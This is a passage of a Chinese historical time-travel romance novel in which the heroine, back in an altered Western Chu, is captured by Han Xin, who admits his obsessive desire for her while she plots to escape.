这些人大多是逞凶斗勇之人,没念过什么书,只知道此地是丹阳,前往咸阳靠脚走,需要近半个月的路程,其余什么信息都问不出来。 她得不到什么信息便不再询问,加上这一天突逢巨变,心力交瘁,于是装作困倦的样子回到了帐中休息。 到了深夜。 帐子被人悄摸打开,摸进来了两个人。 “头儿,你不是说暂且先让她放松警惕,明晚再来收拾她吗?” “你懂什么?”头儿冷笑,“这娘们儿长得比那些贵女们还要好看,跟天仙似的,搁谁见了不心痒痒。” 他说完又忍不住道:“等着吧,说好明晚才收拾她,你那两个兄长待会怕是也忍不住摸过来,想要对这娘们儿一亲芳泽呢。” 说着就要去摸帐中之人。 谁知道人没有摸到,倒是手臂一凉。 紧接着便是男人一声凄厉地尖叫:“啊啊,我的手!” 女郎的动作很快,没多久周围就弥漫着浓郁的血腥味,她摸了几具尸体上的钱,于是拿着软剑去河边洗干净。 夜间的芦苇丛,野鸭子在窝里睡觉,蛙声起伏不断。 虞苋担心血腥会引来野兽,于是换了一个地方,捡了干草和枯树枝在河边燃起了火堆。 杀几个强盗,对于如今的她来说,已经是稀疏平常。 火光照亮女郎的脸,立体的面容上没有多余的表情,她用手帕擦干净软剑,重新将其入鞘,然后将处理的野鸭在火上烤。 此时此刻。 虞苋忍不住想,若是第一次穿越时,自己没有遇见的项羽,而是遇到这五个装成游侠的贼人,她是不是已经死掉了。 她也庆幸,当初项羽带她去校场训练,即便心中再不愿也去了,如此如今才能有自保的能力。 离开了项羽,才发现当时抵触的事情,对方竟都是为了她好,而当时自己却因此对他怀恨在心,还暗戳戳的报复他来着。 虞苋将野鸭子翻了一面,鼓弄鼓弄火堆,让火烧得更旺了些。 她忍不住叹了一口气:“还是不知道现在是哪朝哪代,许是与他一辈子见不着了。” 除非自己穿越到了战国,或者是嬴政在位期间,说不定还能见到小时候的项羽? 当然还有一种可能。 自己穿到了西楚, 距离她离开他没几年,或许两人还能重逢。 不过若是这样,虞苋是宁愿两人不要重逢了,以项羽的气性,她抛弃了他,他指不定是怎么恨她呢。 被他发现自己,那不知道会有多惨。 想到有这种可能,女郎的心一阵恐慌,心开始揪痛。 不要不要,千万不要是穿越到了西楚啊,不然自己就死定了。 第75章 第75章“想寻死,没那么容易。…… 翌日。 由于担心自己是往后穿的,她不敢去咸阳了,休息了一晚之后虞苋就准备前往丹阳城。 她从拦路的贼匪口中知道了丹阳的方向,不过她走在城外的阡陌交通,看着江中流淌着的江水,总觉得有点不对劲。 为了寻找徐福留下来的卷轴位置,因此前两日还在城外到处溜达,自己对于丹阳城的环境还是比较熟悉的。 当时自己怎么会没发现此地有一条河流? 会出现江河改道的情况,要么是出现了地质灾害,洪水地震等,要么是人工修运河。 这些都需要很长的时间。 可是她从那些贼匪身上摸到的钱,感觉和她之前用的没有什么区别,大概距离秦朝的时间跨度不远。 真是奇了怪了。 虞苋站在岸边叉腰,难不成是自己记错了? 这个世道上不缺盗贼,许是见虞苋是一个女郎在外行走,天然让喜欢逞凶斗狠之徒认为是弱小的代名词,一路上所有的恶意都朝着她吻了上来。 她走在荒无人烟的原野上,两天的时间常遇到拦路的强盗,人都杀麻了。 虞苋朝着河流的方向走,见到了河流被截断的位置,江水已经流向了另一个方向,曾经的河床裸露在外长满了杂草。 此地有十里莲池,离丹阳城不远了,路上逐渐有周边庄子上的人走动。 倘若自己没有记错,这裸露的河床位置便是几天前她穿越时出现异象的地方,明明是一条大河,却已经干涸了。 她拦住一个过路的农妇,温声细语的询问:“娘子,这里原本可是一条河?” 问了之后,虞苋才发现自己问了一句废话,好在对方没有在意。 农妇上下打量了虞苋两眼,眼中闪过一丝惊艳,随后说道:“没错,不过五年前大王因为王后在河中溺亡而震怒,于是命人将这条河流改道了,让士兵在里面挖了很久,不过却始终没有找到王后的尸骨。” 说着她又叹了一口气:“听传闻大王因为心里念着王后而未另娶,用情至深,我看却不见得,大王定是恨极了王后。” 虞苋好奇道:“为何呢?” 农妇一脸心惊:“我可亲眼看见大王将河中打捞出来的尸骨,全部都让人一把火给烧了挫骨扬灰,你想一想要是大王真对王后矢志不渝,又有什么仇怨将江中的尸骨给一把火烧成灰烬,可见传闻不作数的。” 此时虞苋将手背在身后成拳:“娘子口中的大王,可是楚王项籍?” 农妇是丹阳城豪绅家出来的,知道的事情倒是比常人多一些,闻言她左看看又看看,小声道:“女郎怎直呼大王名讳,这是大不敬的。” 虞苋:“……” 她脸上麻木,真是说什么来什么,深吸一口气,忍不住道:“难不成现在是西楚五年?” “女郎怎么连是哪一年都不知道,今年当然是西楚五年。” “我常年与族人生活在山谷里,最近才出门历练,的确是什么都不知道,娘子见笑了。” 农妇很少见到虞苋这样出门行走却什么都不懂的女游侠,因此打开了话匣子,继续感叹道:“说起五年前崩了的王后,真是唏嘘,当年她还在世的时候,弄出很多新鲜的农具,还跟大王建议推广小麦和水稻,又让人去异域寻找棉花的种子,种种事情已经惠及天下的黎民百姓,若是她没有亡故,这天下许是早就安稳了。” 虞苋抿了抿嘴,有些惭愧,随后又发现了个槽点。 历史上西楚国祚仅有四年,而现在是西楚五年,历史发生改变了,项羽还没有死? 不过历史从她阻止项羽坑杀降卒和屠城之时就已经发生了改变,这没有什么好奇怪的。 听闻世道还未稳定,虞苋不由询问:“是楚王还在和汉中王打仗吗?” “不止呢。”农妇说道,“原先跟在王后身边的人韩王,在王后崩了之后被清算,在大王的杀令下逃走了,如今正和大王以及汉王三足鼎力呢。” “韩王是?” “韩信。” 虞苋一脸麻木,当时让韩信跟着自己前往丹阳,就是为了算计他。 对方跟在她身边尽心做事,自己一开始是有些愧疚的,并不想杀他,可是他竟敢差点将她,心中带他前往丹阳的愧疚就完全消散了,因此完全没有给他留下后路,希望项羽能在她离开之后暴怒之下杀了韩信。 如此西楚潜在的敌人就少了一个。 从农妇的口中的话看来,韩信和刘邦一样是气运在身,不然怎么会都杀不死呢? 农妇与虞苋聊了好一会儿,看着天色渐暗,不由一拍大腿:“时间不早了,外面不安生,女郎还是赶紧进城,再晚城门就要落锁了。” “好的。” 农妇离开之后,虞苋低头踢了踢地上的石子。 女郎有些惆怅。 她知道自己将项羽抛弃之后,对方一定会恨自己的,可知道归知道,一想到他竟会为了挖她让河流改道,还恨到想要将她挫骨扬灰,就一阵心惊。 即便再难接受也知道是自己咎由自取,不过她对自己的行为并不后悔,若是不试一下没人会认命,谁也不想在悔恨中度过一生。 虞苋兀自神伤了好一会儿,才将唇齿间的苦涩给压了下去,没有选择进城,又在原野上和财狼虎豹待了一个晚上。 她知道是穿越到的时间地点之后,便不想前往丹阳了,准备多在这山川大河中走一走,隐匿于山川大河之中,做一个寻常老百姓就好了。 咳咳。 要知道如今掌握天下权势的三个男人,虞苋全都得罪完了,与项羽是情爱上的纠葛,而刘邦和韩信则是生死之仇,她都不知道自己若是落在他们手中,将会死得有多惨。 虞苋在民间游荡了近两个月,绿叶变成黄叶,蝉虫蛙叫的声音消匿,地里的庄稼结出了果子,蛇鼠为了过冬变得忙碌了起来,晚霞照在天上显得越加的红,预示着夏天过去了秋天又来了。 她脱了鞋袜,无聊的坐在竹排上玩水之时,听到了一阵马蹄声。 女郎不愿招惹事端,正准备跳进江中,便往回瞥了一眼,顿时浑身发麻。 岸上骑马围了上百人,身上全穿了甲胄,为首之人身上气势凛然,目光正阴冷地看着她。 “夫人,许久未见。” 虞苋只好起身站在竹筏上,看着陌生又熟悉之人,转而观察可以逃生的路线。 “别看了。”韩信道,“我知夫人水性极好,周围都布置了人,你逃不了的。” 她只好问:“我一直在城外游荡,没有进过城,我的行踪是如何泄露的?” 韩信翻身下马,与虞苋说道:“夫人,你如此招摇的容颜,和狠毒的手段,即便是短短两个月,已在各地小有声望。” “什么狠毒的手段?” “夫人杀了不少人吧?” “杀强盗也算手段狠毒吗?”她双手抱胸,“那说我狠毒就狠毒吧。” 杀了几个拦路的强盗就能泄露了行踪,大抵是韩信因为仇恨她算计他死,才会如此关注民间的消息。 失策。 她见自己走不掉了,想到这个世道的刑罚,不是将人烹煮,就是将人做成肉饼,或者是做成人彘,对于痛恨之人手段极为残忍。 虞苋仰头看了看天色,对于自己的生命走到尽头这件事丝毫不意外,就当这两个月的时光是多捡来的吧。 韩信问她:“你当年让我将你护送到丹阳,是不是在算计我去死?” 女郎觉得自己难逃一死,都说人之将死其言也善,点点头:“ 你可还记得,当初第一次见你之时,我说你非池中之鱼,总有一天会趁势而起,我一直都知道你将会是项羽最大的敌人,我只是想在离开之前为他将铲除你罢了。” 这句话简直让人韩信浑身的血液倒流,他喜欢她她不仅不知道,还要为了她的爱人而杀了他。 瞧瞧,他的感情多可笑。 韩信说道:“可是你抛弃了他,不担心他仇恨你吗?” 虞苋垂头低低一笑:“恨又怎么养,我不会为了任何人改变自己的决定,哪怕玉石俱焚。” 她当然是怕死的,可她更害怕被折磨而死,说话间已经抽出了腰间的软刀。 突然想起来,历史上的虞姬是殉情而死,如今她拔刀自刎,倒是有些宿命论的。 女郎就是这样的一个人,她还有希望的时候,能比谁都能忍,若是知道自己没有选择的时候,亦能快速的做出决断。 没能杀刘邦,没能杀韩信,没能穿越回到现代,好像是她人生中为数不多的失败,而失败所带来的结果便是死亡,她都懂的。 虞苋想到自己要做的事情,喉咙就一阵发紧,希望自己待会掉进了水中,以免死的时候身体太过脏污而损自己的形象。 爱美之人就是这样子的,死也希望自己能死的好看。 她闭上眼睛,就要将软剑架在脖子上,而韩信早已发现端倪,拿起弓箭,钝箭直射在女郎的胳膊上,她吃痛下将剑柄给松开了。 虞苋捂着胀痛的胳膊懵了一会儿,看着软剑沉入了河底,立即跟着剑一跃入水,寒冷的水顿时将她给包裹住了。 韩信将弓箭丢给身边的亲卫,也跟着跃入了水中,就像是一条灵活的鱼儿一样,瞬间就游到了她的身边,大手捏着女郎的衣领给捞出了水面,将她的身体给锁住。 逃不掉了。 自己是被煮了,还是做成肉饼,救命救命救命。 女郎浑身被吓得惊惧,墨黑的头发贴在身上,额前翘起的几缕碎发正在往下滴水,在残阳的余晖下她空洞的眼神让人忍不住怜惜, 怜惜? 韩信觉得自己真的是要疯了,她亲口承认了想要自己的性命,如此狠辣的女人他竟然还想要怜惜她,怕是自己脑子有病吧? 可是她在自己怀中是如此的瘦小,发白的嘴唇在哆嗦,浑身上下在疯狂的颤抖,让人忍不住搂紧了几分。 他低低笑道:“想寻死,没那么容易。” 第76章 第76章“你要睡我?” 此话比冰冷的湖水还要冷上几分,女郎浑身又是一哆嗦,甚觉刚才她就不应该说真话,看样子韩信为了报复她,要让她求生不能求死不得了。 她沉默着没有再说话。 也没有反抗。 岸上还有几百精兵,反抗了也逃不了,倒不如给自己留些体面。 韩信警告了她之后便带着她往岸上游,他英俊的脸上折射着黄昏的紫光,下巴绷紧,让人猜不透他的心思。 上岸之后,韩信让人拿了一身干燥的衣裳丢给她,道:“换上。” 虞苋蹲在地上双手搂着自己的胳膊,手臂上被钝箭射中的地方没有破皮,可是肌肉还是很痛。 她红眼质问:“让我当众换衣裳,你是要羞辱我吗?” 韩信闻言转身,居高临下的捏着女郎的下巴,开口嘲讽道:“夫人,你以为谁都看得上你的身体吗?别自怜了。” 他的手下适时道:“大王,已经搭好了帐篷。” 虞苋顺着对方来的方向,果然看见了帐篷,眼里还有些不解,却已经被韩信拉起,粗鲁地推进了帐篷。 她这下没话说了,见韩信走出去之后,她就赶紧将身上的湿衣服脱了,换上了干燥的衣裳。 走出帐篷之后,韩信也已经换好了衣裳,亲卫开始将帐篷收起来。 两人对视。 男人朝着众人吩咐:“先回国都。” 女郎静静站着不动。 她委实不知道将会被怎样的对待,按照她了解的情况,战场上的俘虏都是被绑了绳子跟在马后面跑,跑不过就会被马拖行致死。 虞苋又开始想,为什么自己的动作不快一点,为什么要让自己有机会让人折辱,真还不如直接死了算了。 韩信果然上前给她绑了双手。 她感觉自己呼吸喘不过来,头疼、心疼、腹部疼、手疼腿疼,浑身都在疼,恶心得想吐。 要是真要被拖行,自己就不跑了,就直接被的拖行死吧。 正想着,虞苋突然被人凌空抱起,踩着马镫和她一起翻身上马,细腰被对方手搂住,男人牵起马绳,驱使身下的马跑了起来。 后背贴着对方的胸膛,衣料随着马背上的颠簸摩擦,而他的手锁着她的腰,似乎害怕她逃跑。 女郎想过很多种结果,没有想到韩信会和她共骑。 比她想象中的要好很多。 入城之后,虞苋被韩信关在了一间屋子里,除了有人给她的送饭,没有人和她说话,唯一的亮光就是墙壁上窄小的窗户。 天亮了,天又黑了,如此反复。 女郎不吃饭不喝水不如厕,把自己当成一个死人看待,因此心态格外的平和。 第三日,房门被打开,韩信背光走了进来。 门又被关上。 他询问:“夫人是在绝食吗?” 虞苋原本是躺着的,见人进来了,便随便扒拉两下凌乱的头发,跪坐在榻上,询问道:“你要怎么处置我?” 韩信坐在女郎面前,将桌子上的面饼推过去:“吃了。” 她不为所动。 韩信继续道:“吃了我就告诉你会如何处置你。” 虞苋感觉这个人有些莫名其妙,刚见面的时候他的眼神中对她恨得要死,自己到了他的手中却只将她关在房间里,甚至她不吃饭还专门来了一趟,似乎担心自己饿死了。 她吃了一口面饼,仔细的咀嚼,拿起杯子喝水送服。 主要是几天没吃东西了,担心自己噎着,把口中的面饼吞咽之后,她道:“现在可以告诉我,你是何意了吧?” 韩信问:“你跳下那个蓝色旋涡之后直接消失了,你是直接来到了现在?” 当时看见的人不少,虞苋没有隐瞒:“准确的说是来到了两个月前。” “你为什么要往下跳,你跟在项王身边,已经是王后,和他共掌天下,为何要离开他?” “不方便告诉你。” 韩信却已经猜到了:“因为你不是这个时代的人。” 虞苋沉默。 他说道:“你不说就是承认了。” 女郎轻笑道:“就像徐福留下的卷轴所提及的那样,两个时间在空间上有瞬间的交叠,于是现在的人可以前往未来或者过去,如今明摆着的事情发生在你我的眼前,我再隐瞒你们有什么用呢?” 她直接承认了:“没错,我就不是这个时空的人。” 韩信抿嘴:“在我还是无名小卒的时候你第一次见到我,就知道我今后的命运,是因为你是后世之人吧。” 虞苋颔首。 韩信忍不住笑了:“杀刘邦,也是如此,你知道他会造项王的反?” 女郎反问:“难道这不是明摆的事情吗?” 自从虞苋往下跳穿越来到了五年后,她心里已经非常清楚自己的来历已经瞒不住人了。 毕竟能青史留名的人物可没有谁是傻子,她想瞒是瞒不住的,与其落得过虚伪狡辩的印象,还不如坦坦荡荡的承认。 韩信再问:“你是从后世什么年间穿越而来的?” 虞苋听到他的询问,端起杯中的茶 水喝尽,手掌撑着下巴回忆,却还是没有全盘拖出,只说:“往后很多很多年,秦统一了中原之后,后续的王朝都有了大一统的思想,随着思想的进步,那个年代已经没有了奴婢,没有了男尊女卑,没有了吃不饱饿死的流民,人人能吃饱穿暖过日子过得相当的安稳,是从和平年代穿越而来。” 女郎眼中怀念,随后轻嗤道:“可惜我与那个时代缘分太浅,才活了二十多年,就来到这个贫穷、战乱、吃人的世道。” 韩信闭了闭眼睛,才明白最初悸动的那番话,竟然是因为她来自后世…… 明明已经知道了她就是故意引自己入杀局,明明知道她为项羽铲除异己,明明知道她心狠手辣无情无义……可听到女郎绝食几日寻死,还是忍不住来了,即便知道她对自己毫无任何情谊,连上下属之间的情谊也无。 他睁开眼,看着虞苋漂亮的脸蛋,那瘦削的肩膀,和她说话时微张的红唇,依旧深深的吸引着人。 韩信心里恨得要死,一想到要报复她,却始终下不去手。 虞苋见他久久未曾说话,不由询问道:“所以你要如何处置我?” 韩信说道:“项王在伐汉王,我与汉王结成了同盟,共同对付项羽,你会在会战之时祭旗。” 虞苋“哦”了一声:“砍了我的脑袋,还是要将我烹煮,或者剁成肉泥做成丸子?” 她恐慌的事情都是在曾在书上看过的,比如历史上项羽因为刘邦的背叛,抓了他的家人,威胁要烹煮刘太公,吕雉曾将他人的肉泥送去给英布,使得英布谋反……等等,古人之狠可不是随便说说的。 屋内气氛凝重,韩信看着女郎微颤的睫毛,喉咙略紧。 “你说呢?” “按我说的,我希望你们砍了我的脑袋,给我一个痛快。”虞苋笑道,“我即便想要过你和刘邦的性命,都是从政治出发,并未做过什么伤天害理的事情,对我没必要这么的恨的。” 韩信突兀的起身,拿她祭旗只是为了恐吓她,看着她生死度外的模样,反而是自己心中绞痛难耐。 女郎仰头看他,面露不解。 那样明亮的眼睛,高挺的鼻梁,漂亮的好亲的嘴唇,都在散发着极致的诱惑,让自己产生想要不顾一切跪在她面前诉说自己对于她的喜欢、情欲、占有,偏偏仅有的自尊,让韩信绝不敢在虞苋面前泄露一丝自己的心思,他害怕看见女郎嘲弄的表情,用锋利的语言攻击他卑劣的心思。 韩信扭头不敢再看她,哑声道:“你说得没错,我不会对你处以极刑,你大可放心。” “那我还有多少时间。” “三日。” 说完韩信便走了,门被打开又关闭,房间里重新恢复了安静。 虞苋瞬间瘫软在榻上,说不害怕死亡是假的,可是在她手下死的人都已经数不清了,她能杀死别人,也能被人杀死。 至于韩信和刘邦拿自己祭旗,项羽会有什么反应,她是不知道的,倘若是如此痛恨她,自己死了对方应该会很畅快吧。 她看着头顶漏光的瓦片,日光照射在房间里,能在光线上看见在空中漂浮的灰尘,眨了眨眼睛,不知为何眼眶中又氤氲了些水雾。 又被关了两日,得知自己死期,虞苋倒是没有再绝食,而是静静等待死亡的到来。 到了第二日的夜晚,她在睡梦中被婢女叫醒,然后带着她去汤池洗洗刷刷,还换上了轻薄的衣裳。 虞苋快要被吓蒙了,不是说不煮她吗? 她是不是还要感谢韩信给自己留了体面,打算蒸煮她的时候还给她穿上衣裳? 女郎脑子发蒙,她被用轿子抬着往一处走,夜晚的冷风一吹,庭院中的落叶便被吹落了下来,浑身是有点冷的,不过她完全没有了反应。 到了一处别院,轿子停了下来,婢女低头行了一礼,便带着所有人退了出去。 她见周围没人,犹豫了一会儿,便在别院转了转,随后推开一间房门,见到韩信正襟危坐,一杯一杯的喝酒,身形有些晃,看上去已经喝醉了。 嗯? 虞苋迷惑了,不是煮她吗? 她低头看着自己穿着的衣裳,进去不是不进去也不是,正无措间,韩信已经放下了酒杯,起身朝着她走来,走到了她的面前,随后站定。 “你来了。” 韩信觉得自己又喝醉了,竟然看见了这个可恨的女人。 他伸手握住女郎圆润的肩膀,手往下滑,用力捏住了她的胳膊将她扯到了榻上:“坐好。” 女郎咬唇:“你喝醉了。” 这人不会又将自己认成旁人了吧? 可是韩信都在五年后的今天已经自立为王了,他难不成还得不到自己心爱的女人吗? 韩信突然开口:“夫人,你不要怕我,我舍不得杀你。” 虞苋感觉到不对劲了,就算韩信能认错一次,还能将自己认成旁人二次吗? 她心念一动,见他已经醉了,试探道:“你还是唤我的名字吧,叫我夫人怪怪的。” 韩信倾身按住女郎的腰,灼热的呼吸喷洒在她脸上:“小虞,或者,我叫你阿苋?” 虞苋浑身一僵,又问:“你想要对我做什么?” 男人碾压着她细腰:“显而易见。” 女郎顿时脑子晴天霹雳,完全没有想到对方竟然对她是这个心思,平时在她面前表现得正人君子的样子,喝醉酒之后倒是变了一个人一样粗鲁放肆。 虞苋睫毛轻颤,伸手抵住对方身体,颤声道:“你要睡我?” 韩信没有说话,隔着一块布料,依旧能感觉到柳腰的细腻,闻言自嘲一笑:“你是不是觉得我很龌龊?宿醉后梦里都是你的身影。” 她再次开口:“我都要杀你了,你都不介意,还想要和我好?” 韩信承认:“可笑吧?” 哇哦。 虞苋原本以为自己要死定了,甚至还想要自刎、绝食以免遭遇更大的痛苦,倘若韩信的恨意夹杂着对她的其他情感,是不是可以稍微利用利用呢? 前面的死路倒是峰回路转了。 第77章 第77章“我一个人睡。”…… 之前见韩信自己避而不及,唯独在船上那一次,他因为喝酒有了醉意,对她做了出格的行为,才会误以为是对方认错了人。 男人下巴抵在肩窝,手已经从腰划到脊背,将她僵硬的躯干按软,灼热的呼吸喷洒在她的脖间,隔着衣料胸膛之间挤压得没有半点空间,似要将她揉进身体。 虞苋似乎能听见韩信胸膛的起伏和心跳。 她被这样压在身下,后背被对方按揉的很舒服。但也仅此而已,并没有想要的冲动。 此时韩信没有做出更为过分的事情,却也没有松开她的身体,静谧的空间中唯有两人的呼吸声。 对方应该清楚这已经不是酒后的幻想或者只是一个虚无的梦境了,而是真实存在的触碰。 两人在无声的对峙。 虞苋在思考如何利用对方的情绪来保命,因此暂时没有其他动作,由着他抱着揉着自己脊背。 韩信此时则很懊悔,刚刚他的确一时分不清虚幻和现实,此时将女郎搂在怀中,感觉到怀中人的体温,脑子自然清楚了。 然而话已经说出口了,无疑让自己在女郎面前伪装的恨意完全溃败,露出了他对她肮脏龌龊的心思。 怀中之人身体格外柔软,便是这般的抱着就分外满足,让人忍不住沉醉其中。 其实他对于此事是有些窃喜的,至少他对于女郎喜欢,终于能摆在了明面上,总比他对她的爱和恨只有自己知道,痛彻心扉而对方无知无觉得好。 他深吸一口气,鼻间萦绕着女人身上的馨香,那是香兰的味道,可抬眼看见她对于自己按揉无动于衷的表情,心脏扯着手指细细密密的疼痛。 虞苋手推了推他,语气十分平和:“我知道你已经清醒了。” 韩信沉默着不说话。 也不松手。 虞苋抿着嘴唇询问:“你明日还要继续杀我祭旗吗?” 她满脸疑问,看上去只是好奇。 闻言,韩信自嘲一笑:“你都已经知道我对你的心思了,应该心里清楚我舍不得你死。” 她得到了准确的答案,心中稍安,只是对方已经坦白心思,她又不想被对方睡,该怎么办呢? 与其拐弯抹角,还不如直白一点。 女郎道:“你现在还不松开我,是准备继续睡我吗?” 她不待对方回答,又开始质问:“是你让人将我送到汤池洗洗刷刷, 穿着这样轻薄的衣裳来此方便你睡我?” “没有。”韩信低垂着脑袋,“不是我吩咐的。” 房间里的烛火跳动,在暖色的烛光下,将女郎映照得十分的诱人,就像是秋日的果实在晨间沾上了露水,晶莹剔透,让人想要摘下来仔细品尝是否真的甜蜜可口,又担心所有的一切都是表象,实际啃咬下的果实里面藏着致命的毒汁。 里面就算是毒汁,他也甘之如饴。 虞苋皱眉:“不是你还是谁?” 韩信嘴唇微抿:“应该是我身边的亲卫自作主张……” 女郎当然不信。 他自嘲一笑:“当然,他们若是没有我的默许,自是不敢如此行迹,不过是我需要别人的推手来达到自己的目的罢了。” 韩信是以谋略出名,若是他想完全能将虞苋哄得团团转,他这样的人能在她面前坦荡可不容易。 虞苋将脸扭到一旁,房间里很是亮堂。 她微眯着眼睛,睫毛轻轻颤抖:“那你现在准备对我怎么样?” 韩信终是松开她,将她拉起来坐稳,跪在了女郎面前,按着她的肩膀。 他红着一双眼睛询问:“我能对夫人做什么?” “夫人连死都不怕,若是我对你做什么,换来的不过是玉石俱焚。”对方的手向下,握住了虞苋的细腰,“即便夫人想要我的性命,可我依旧舍不得你死,我想拥有你,想要待在你的身边能时刻看着你,就像现在这样搂着你,我便已经心满意足,夫人是不是觉得我自甘下贱?” 虞苋不语。 他又重新将女郎搂在了怀中,她被迫攀住男人肩膀,下一刻,脖颈一凉,她顿时心慌,准备伸手去推他,却换来更加用力的啃噬。 虞苋浑身紧绷,他便按揉着她的脊背放松,过了好一会儿,对方终于松开。 她一巴掌扇了过去,没有留任何的余地。 韩信抹了嘴角的猩红,说道:“我能对夫人做的事情,也仅此而已了。” 虞苋喘着气,气得脸色通红:“你无耻。” 韩信十分的坦荡,不再掩饰自己的觊觎:“没错,我就是无耻,是阴沟臭虫。” 他说完恨声道:“你留给项王的信,已经说与他一刀两断,你们没有任何关系了,而现下在所有人眼中你只是一个死人,如今是我先寻到你的,为何不能给我一个机会?” 虞苋喘着气,冷静道:“你喝醉了。” 韩信见到她这幅依旧冷静的样子,心如刀割,他仍然倔强地握着女郎的脚按揉不放手,似乎只有这样才能抓得住她。 “其实我知道,你只是把我当成一条看家的狗,若是我对你摇尾乞求,你还能稍微纵容,倘若狗咬主人,就会被彻底的放弃。”他说着便觉得要是能给她一直当一条狗也不错,便给虞苋当初要命的行为找借口,“当初萧何给我写了信,希望我去辅佐汉王,我心有意动,的确有反叛的心思,你防着我想要我死,很正常。” “那为何现在你没有投奔刘邦?” “夫人,是你告诉我汉王薄情寡义,非良主,于是我没有投奔他,而是自立为王。” 虞苋沉默。 难怪韩信最后没有成为刘邦手下的大将,而是成为了韩王割据一方,其中竟然还真有自己的手笔。 韩信低头看着女郎圆润的脚指头喉结滚动,压制住想要俯首舔砥的冲动,却已经将话说出了口:“夫人,倘若我愿意继续做你身边随意呼来唤去的一条狗,你愿意给我留在你身边的机会吗?” 虞苋心里还在气着,闻言倒是嗤笑道:“我现在不过是你的阶下囚,应该在你面前卑微才是,如何敢让韩王做我身边的一条狗,我现在凭什么啊?” 女郎长得着实好看,比初开的芙蓉还要娇俏,是这世界独一无二的美丽,一颦一笑或气或怒,都带着无尽的风情,让人看之迷醉。 果真是带毒的花。 韩信终于是克制不住自己的心念,握着她的脚俯身,薄淡的唇印在了脚背上。 女郎刚想一脚踢过去,对方已经舔上了她的脚踝。 绝了。 虞苋浑身肌肉跳动,老天爷老天奶,这到底是怎么回事? 即便她心里不喜欢他,可是看着他如此的变态,还是被怔住了。 很快女郎反应过来,勾起脚尖,挑起韩信的下巴,冷声询问:“你是不是有病?” 韩信握住她的脚踝,温热的指腹在上面划走,激得女郎身上起了一身的鸡皮疙瘩:“是的,我有病。” 虞苋满头黑线,又问:“我看你是醉酒还没醒。” 韩信抬眼,眸中厉光一闪,压着嗓子道:“夫人,我现在非常的清醒,我知道我在做什么。” 她无语。 见他只在这些摸摸碰碰,没有触碰到她的底线,便没有再做出什么过激的行为,先稳住对方,到时候再找机会逃跑就是了。 想好之后,她便软了态度。 虞苋的腿搭在男人的肩膀,腿往下勾住男人的腰身,将自己送进了对方的怀中,语气软柔:“好了好了,时间已经很晚了,我好困好困,今晚睡哪里?” 她强调:“我一个人睡。” 韩信对于怀中的柔软始料不及,低头看着女郎眼底冷漠的眼神,知道对方软了的语气是今晚不愿与自己纠缠,心脏抽痛的更加的厉害,将人牢牢搂在自己的怀中,薄唇紧抿:“这里酒气未散,换一个房间休息吧。” 说完他就抱起轻飘飘的虞苋,大跨步往外走。 秋天的夜晚带着点凉意,轻薄的纱衣被风吹拂,飘荡在夜色中。 韩信将虞苋放在一块青玉石上,动作没有再僭越,说道:“夫人,此床为暖玉制成,玉养人,于夫人的身体有益。” 周围昏暗,只能看见男人模糊的影子,立于房间。 他说:“我就在隔壁。” 虞苋没有说话,见他离开了,才瘫软在床上。 她这一晚的小心脏一上一下的,最开始她还以为自己要死了,后面又以为自己要被睡了,还在看来都是自己吓自己。 韩信…… 他变态是变态了些,却没有强迫她做事,亲亲抱抱揉揉捏捏,倒是小事情了。 反正,气归气,其实并没有很生气。 倘若她要是知道自己心爱之人要杀自己,就算是自己爱得不行,也得将人捅上一刀才能解气。 对方不仅什么都不做,还想要和她好,简直是让人感觉到惊奇。 …… 那晚之后,韩信许是醉酒的时候真情泄露,害怕见到女郎嘲讽的表情,又或者事务繁忙,很长一段时间没有出现在她的面前。 好在没有将她再关着,允许她在一定范围内活动,就是身边总跟着人,也不让她出城。 关于时局的信息,同样传不到女郎的耳中,她不知道项羽和刘邦,两军之间此时又是什么情形。 半个月后。 虞苋终于摸清了城中的布置,准备收拾收拾东西出逃。 她才不信韩信说的要继续给自己当狗,真要当狗可不是将她软禁起来,变成池中鱼笼中雀。 不过出城还需要韩信的腰牌,得想办法拿到,她想来想去,还是觉得要将人灌醉,才能方便自己行事。 而酒。 好在虞苋在闲来无事的时候,顺便酿了几坛子酒,此时已经酿制好了。 女郎蹲在酒坛旁,闻着浓郁的酒香,突然有一瞬间的愣怔。 她真是很久没有亲自酿酒了,上次,上次还是上次,因偷喝了酒被某人罚了小黑屋…… 算了,不想了。 跑路要紧。 第78章 第78章 “你怎么不恨我?”…… 酒菜是准备好了,虞苋便让看守她的侍卫帮忙请韩信前来一聚,对方倒是没有再躲,在戌时如约而至。 虞苋颔首示意:“请坐。” 韩信坐在了女郎的对面,在亭中的烛火映照下,阴霾藏在了他的眼底:“夫人寻我来所谓何事?” 她回答:“待在此处太闷了,想找人喝酒说说话。” 说话间虞苋拿起酒壶给韩信倒满了酒,面上带着一抹轻快的笑:“我亲自酿的酒,很烈的,尝一尝?” “夫人的酿酒技术,如今天下皆知。” “嗯?” “夫人莫非忘记了,你当初制作出了酒精,可当治疗外伤的伤药?” 那还是记得的。 不过酿酒那可是家里家传的酿酒技术,就算她没有穿越,就算她家不幸破产了,她酿出的酒哪个时代都是一绝。 虞苋说道:“我的酿酒技术是我阿爷亲自教我的,他酿的酒那才是远近闻名。” 她做出请的手势:“快尝尝。” 当初韩信还是项氏手下之时,正值项羽为了节约粮食而禁酒,虞苋除了制作的酒精外,就连自己偷喝酒被惩罚了,自然她当初亲自酿造的酒没有几个人能喝过,韩信又还跟在项梁身边,大抵也没有尝过她酿造的酒。 他端起酒杯,在烛光的照射下,杯中酒如水般清冽,一股桂花香混着酒香入鼻,香味不浓不淡刚刚好,仅仅是看闻,已经能证明此酒味为世间罕见的佳酿。 韩信瞥了虞苋一眼,女郎的眼睛亮晶晶的,便低头将酒水饮尽,入口辛辣,味蕾炸开,等了一会儿便有桂花香在唇齿间回荡。 “怎么样,好喝吗?” “味道不错。” 虞苋手托着下巴,单手拿着酒杯转动,说道:“我家里就是靠酿酒发的家,家里人人都会酿酒,可我觉得我自己酿的酒最合自己的心意。” 她眨眼继续道:“若是觉得味道不错,你就多喝一点。” 女郎将酒杯放下,又给韩信倒了一杯,瞥了一眼对方的腰带,没见到腰牌。 莫非是藏在怀中? 韩信询问:“这还是你第一次提及你的家人。” 虞苋轻笑了一声:“当初不提及,是因为大家都以为他们在商船之祸丧生,为了掩藏我不是这个时代人的秘密,便不敢提及。” 她有些好奇:“你都知道我是后世穿越而来的了,为何你不询问我所知道的,关于你的结局?” 韩信饮了酒,垂眸道:“不过是被刘邦所杀。” “差不多吧。”女郎说,“你是被夷三族。” 